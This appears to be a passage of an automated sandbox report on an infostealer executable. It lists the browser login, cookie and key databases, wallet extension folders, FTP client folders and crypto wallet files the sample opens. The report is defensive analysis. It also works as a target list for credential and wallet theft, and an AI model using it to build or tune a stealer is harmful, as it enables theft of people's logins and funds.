Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Directory queried: C:\Users\user\Documents\AFWAAFRXKO	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Directory queried: C:\Users\user\Documents\AFWAAFRXKO	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Directory queried: C:\Users\user\Documents\MNULNCRIYC	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Directory queried: C:\Users\user\Documents\MNULNCRIYC	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Directory queried: C:\Users\user\Documents\AFWAAFRXKO	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Directory queried: C:\Users\user\Documents\AFWAAFRXKO	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Directory queried: C:\Users\user\Documents\MNULNCRIYC	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Directory queried: C:\Users\user\Documents\MNULNCRIYC	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Directory queried: C:\Users\user\Documents\TTCBKWZYOC	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Directory queried: C:\Users\user\Documents\TTCBKWZYOC	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Directory queried: C:\Users\user\Documents\AFWAAFRXKO	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Directory queried: C:\Users\user\Documents\AFWAAFRXKO	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Directory queried: C:\Users\user\Documents\AFWAAFRXKO	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Directory queried: C:\Users\user\Documents\AFWAAFRXKO	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Directory queried: C:\Users\user\Documents\MNULNCRIYC	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Directory queried: C:\Users\user\Documents\MNULNCRIYC	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Directory queried: C:\Users\user\Documents\TTCBKWZYOC	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Directory queried: C:\Users\user\Documents\TTCBKWZYOC	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Directory queried: C:\Users\user\Documents\MNULNCRIYC	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Directory queried: C:\Users\user\Documents\MNULNCRIYC	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Directory queried: C:\Users\user\Documents\TTCBKWZYOC	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Directory queried: C:\Users\user\Documents\TTCBKWZYOC	Jump to behavior
